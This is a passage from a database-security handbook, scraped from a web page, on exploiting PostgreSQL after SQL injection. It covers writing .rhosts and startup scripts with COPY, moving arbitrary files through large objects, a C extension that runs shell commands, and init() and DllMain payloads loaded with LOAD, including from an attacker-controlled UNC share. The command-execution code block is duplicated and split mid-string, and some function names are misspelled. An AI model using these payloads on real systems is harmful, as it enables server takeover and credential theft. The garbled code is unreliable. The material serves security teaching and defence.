Interacting with the Filesystem

The COPY command transfers data between tables and files on disk. The files are accessed under the operating system user privilege that the database runs as. Given the security implications of this command, it is available only to database superusers. The following examples assume access to the database has been achieved through SQL injection in a web application, and that against best practice, the application has connected to the database using superuser credentials.

The COPY command does not accept relative paths (from copy.c: "Prevent write to relative path . . . too easy to shoot oneself in the foot by overwriting a database file . . ."). This prevents using ~ to select the PostgreSQL home directory. The Unix temporary directory, /tmp, is likely to be writable. If the database is version 8.0, configuration parameters such as the database file locations can be determined via SELECT current_settings(<settingname>). The data_directory setting reveals where the database files are actually stored ”this will obviously be writable.

An attacker can further compromise a Unix system via the COPY by writing to a number of files:

  • .rhosts. If the system is running the rlogin daemon, writing a .rhosts file containing "++" will permit any user to log in as the PostgreSQL user from any host without specifying a password. These days, the security implications of rlogin are well understood and it is disabled by default on most Unix distributions. Furthermore, if the rlogin daemon is running, it is only likely to be accessible to systems on the local network.

  • Modifying the ~/.profile script. If the system administrator logs in locally to the database account, writing operating system commands to the .profile script will result in their execution during the next login.

  • Modifying the ~/.psqlrc, the psql startup script. If the database administrator logs in locally to the database account and uses psql to carry out maintenance, or if psql is set to run database scripts via a cronjob, an attacker could Trojan the startup script in order to execute arbitrary operating system commands. The "\!" psql command takes an optional parameter specifying the shell command to execute. It is possible to invoke psql and have it ignore the contents of .psqlrc. This is accomplished via the “X or --no-psqlrc command-line switches.

Useful system information can be obtained via reading the following files (note that unlike COPY TO, COPY FROM permits relative paths):

 -- Read in /etc/passwd to determine operating system accounts COPY dummytable FROM '/etc/passwd'; SELECT * FROM dummytable;     "root:x:0:0:root:/root:/bin/bash" "bin:x:1:1:bin:/bin:/bin/sh" "daemon:x:2:2:daemon:/sbin:/bin/sh" "adm:x:3:4:adm:/var/adm:/bin/sh" "postgres:x:76:76:system user for postgresql:/var/lib/pgsql:/bin/bash" 

Other files that may contain interesting information are /etc/fstab and /etc/exports. These potentially contain details of NFS shares. /etc/exports will reveal whether root squashing has been enabled. An attacker who has access to the local network may be able to exploit weak NFS permissions.

On a Windows system, environment strings such as %TEMP%, %PROFILE%, and %SYSTEMROOT% are not expanded. An attacker has several choices for determining a directory that the database can write to. The default installation path for PostgreSQL 8.0 database files is C:/Program Files/PostgreSQL/8.0/data/ . The location of this directory can be verified by executing SELECT current_settings('data_directory'). Alternatively, the database is likely to be able to write to the Windows temporary directory ( c:\windows\temp , c:\winnt\temp , or c:\temp ). If the database has been run from an interactive account, the user profile directory ( c:\documents and settings\<username> ) will also be writable, though the attacker will have to guess or determine otherwise the correct username. Finally, an attacker may try specifying a UNC path. Most organizations nowadays prevent SMB traffic from flowing across their network perimeter. If, however, this is not the case, or the attacker is on the local network, he can set up an anonymously accessible share and use the COPY command to read and write data to it. This is particularly useful for dumping the contents of a database. The attacker can enumerate tables, writing them to the share so they can later be imported into the attacker's database for analysis.

The COPY command was designed for bulk loading and unloading of tables as opposed to exporting one particular row. It can export data as text or PostgreSQL's own binary format, which contains a header. It is possible to export a limited arbitrary binary file, however, by creating a table containing a single row and column (or specifying only a single column when invoking the command). The only caveat is that the file cannot contain a null byte (0x00); otherwise proceeding bytes will not be written out.

Large Object Support

PostgreSQL has provided support for large objects since version 4.2. Version 7.1 organized the three large object interfaces such that all large objects are now placed in the system table pg_largeobject. The functions lo_import and lo_export can be used to import and export files into the database. Given the security implications of these functions, they are available only to database superusers. As with the COPY command, an attacker with superuser privilege could make use of UNC paths on the Windows version of the database to copy data to and from the database.

Interestingly, the pg_largeobject table can be queried and updated directly. Its "data" column is of type BYTEA; this is the equivalent to the BLOB data type found in many other DBMS. When specifying BYTEA data, non-printable characters can be represented by \<octal value>. The "\" must be escaped when it is used inside a string. It is often easier to transfer data encoded in Base64 and then decode it in the database. Base64 causes an increase in file size of approximately 33%; the resulting representation may still be smaller than converting non-printable characters into \<octal value> form.

This means an arbitrary file can be transferred by creating a new row and then exporting it via lo_export:

 -- Create an entry in pg_largeobject SELECT lo_creat(-1);       LOID ---- 41789     -- Replace data with decoded string containing arbitrary file data     UPDATE pg_largeobject SET data = (DECODE(<base64 encoded data here>,'base64')) WHERE LOID = 41789;     SELECT lo_export(41789, '<path to arbitrary file>'); 

Using Extensions via Shared Objects

PostgreSQL is an extensible database that permits new functions, operators, and data types to be added. Extension functions reside in separate library files ”shared object modules on Unix systems and dynamic link libraries (DLLs) on Windows systems. Once the code for the function has been compiled into a shared object or DLL it must be added to the database via the CREATE FUNCTION command (only available to database superusers). Shared objects on many types of Unix do not need to be marked as executable because they are simply files that are open ()'d and mmap()'d by dlopen(). Linux, FreeBSD, and OpenBSD do not need shared objects to be marked as executable (HP-UX, however, does require it). This means the large object import/export technique described earlier could be used to transfer an object to a remote system. Windows systems do not have the execute permission.

The following is an example extension function that provides a simple means of executing operating system commands from within the database. It accepts a single parameter, of type text, which is passed to the system() operating system call. It returns the return code from the system() call.

 #include <stdlib.h> #include <postgres.h> #include <fmgr.h>     PG_FUNCTION_INFO_V1(pgsystem);     Datum pgsystem(PG_FUNCTION_ARGS) {  text *commandText = PG_GETARG_TEXT_P(0);  int32 commandLen  = VARSIZE(commandText) - VARHDRSZ;  char *command     = (char *) palloc(commandLen + 1);  int32 result = 0;      memcpy(command, VARDATA(commandText), commandLen);  command[commandLen] = ' 
 #include <stdlib.h> #include <postgres.h> #include <fmgr.h> PG_FUNCTION_INFO_V1(pgsystem); Datum pgsystem(PG_FUNCTION_ARGS) { text *commandText = PG_GETARG_TEXT_P(0); int32 commandLen = VARSIZE(commandText) - VARHDRSZ; char *command = (char *) palloc(commandLen + 1); int32 result = 0; memcpy (command, VARDATA(commandText), commandLen); command[commandLen] = '\0'; // For debugging purposes, log command // Attacker would not want to log this!! // elog(ERROR, "About to execute %s\n", command); result = system(command); pfree(command); PG_RETURN_INT32(result); } 
'; // For debugging purposes, log command // Attacker would not want to log this!! // elog(ERROR, "About to execute %s\n", command); result = system(command); pfree(command); PG_RETURN_INT32(result); }

This is compiled on Linux as follows (for more detailed build instructions, see the PostgreSQL documentation "C Language Functions" section):

 $ gcc -fpic -c pgsystem.c $ gcc -shared -o pgsystem.so pgsystem.o 

The -fpic switch is used to produce position-independent code, that is, code that can be loaded anywhere in the process space of a process with as few relocations as possible. The shared object is loaded via the CREATE FUNCTION command as follows:

 CREATE OR REPLACE FUNCTION pgsystem(TEXT) RETURNS INTEGER AS 'pgsystem.so', 'pgsystem' LANGUAGE 'C' WITH (ISSTRICT); 

From PostgreSQL 7.2 onward an absolute path to the shared library is not required provided it is located within the process's dynamic library path.

The function can then be executed as follows:

 SELECT pgsystem('ping 10.0.0.1'); 0 

The function returns the return code from the system() call; a return code of 0 means the command executed successfully.

The LOAD Command

The LOAD command loads a shared object file into the PostgreSQL process address space; interestingly, prior to the security update released in February 2005, any user could call this function. LOAD is intended to allow a user to reload an object that may have changed (for example, from a recompilation). LOAD can be abused in two ways. First, it can be used to determine the existence of arbitrary files on the operating system:

 LOAD '/etc/abcdef' ERROR:  could not access file "/etc/abcdef": No such file or directory     LOAD '/etc/passwd' ERROR:  could not load library "/etc/passwd": /etc/passwd: invalid ELF header 

Second, and of more interest to an attacker, it can be used to launch a privilege escalation attack. Shared objects contain two special functions, init() and fini(), which are called automatically by the dynamic loader whenever a library is loaded or about to be unloaded. A default implementation is typically provided for these two functions; specifying custom implementations permits code to be executed under the privilege of the operating system database user. The following example demonstrates such an attack:

 #include <stdlib.h>     void init() {  system("echo Test > /tmp/test.txt"); }     $ gcc -fpic -c pgtest.c $ ld -shared -o pgtest.so -lc pgtest.o $ cp pgtest.so  /tmp     LOAD '/tmp/pgtest.so'     $ cat /tmp/test.txt Test 

Of course, the attacker must first get the shared object onto the target system. lo_import/lo_export cannot be used because they require superuser privilege. If the attacker has local access to the system, it is as simple as changing file permissions to ensure the operating system database user can access it. If the attacker has access to the local network, it may be possible to exploit weak NFS share permissions to place the object in a location that the database can access.

On Windows systems, LOAD calls the WIN32 API function, LoadLibrary(), with the supplied parameter. When a DLL is loaded into a process space, the DllMain() function is executed (the equivalent of init). The following code shows how a DLL is created:

 #include <windows.h> #include <stdlib.h>     BOOL WINAPI DllMain(HINSTANCE hinstDLL,                      DWORD fdwReason,                     LPVOID lpvReserved) {  system("echo Test > c:\windows\temp\test.txt");  return TRUE; }     C:\dev> cl c pgtest.c C:\dev> link /DLL pgtest.obj 

Remote exploitation on Windows systems is facilitated by the fact the LOAD takes an absolute path, thus attackers can supply a UNC path to an anonymous share on a system they control.

 C:\dev> copy pgtest.dll  c:\share     LOAD '\\remotemachine\share\pgtest.dll' 

Once the attacker is able to execute operating system commands, the pg_hba,conf can be modified to permit trusted access to all databases for mining of further information. Of course, this is not a subtle change and may be detected by host intrusion prevention systems. A more subtle attack is to elevate privilege within the database itself. This is achieved using the SetUserId() and SetSessionUserId() functions ”these are exported functions of Postgres.exe on Windows systems:

 #include <windows.h> #include <stdlib.h>     typedef void (*pfunc)(int);     BOOL WINAPI DllMain(HINSTANCE hinstDLL,                      DWORD fdwReason,                     LPVOID lpvReserved) {  HMODULE h = LoadLibrary("postgres.exe");  pfunc SetUserId = (pfunc) GetProcAddress(h, "SetUserId");  pfunc SetSessionUserId = (pfunc) GetProcAddress(h, "SetSessionUserId");     if (SetUserId)        SetUserId(1);  if (SetSessionUserId) SetSessionUserId(1);      return FALSE; } 

The ability of a low-privileged user to cause the database to connect to an arbitrary machine via specifying a UNC path to LOAD has additional security consequences. Windows will attempt to authenticate the operating system database user to the attacker's system typically via NTLM, a challenge-response scheme. In addition to obtaining the remote machine name and username, the attacker will also receive a challenge-response pair. This information can be used in an offline attack to recover the password. This may be of use if the attacker is able to access other operating system services on the database server.



Database Hacker's Handbook. Defending Database Servers
The Database Hackers Handbook: Defending Database Servers
ISBN: 0764578014
EAN: 2147483647
Year: 2003
Pages: 156

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net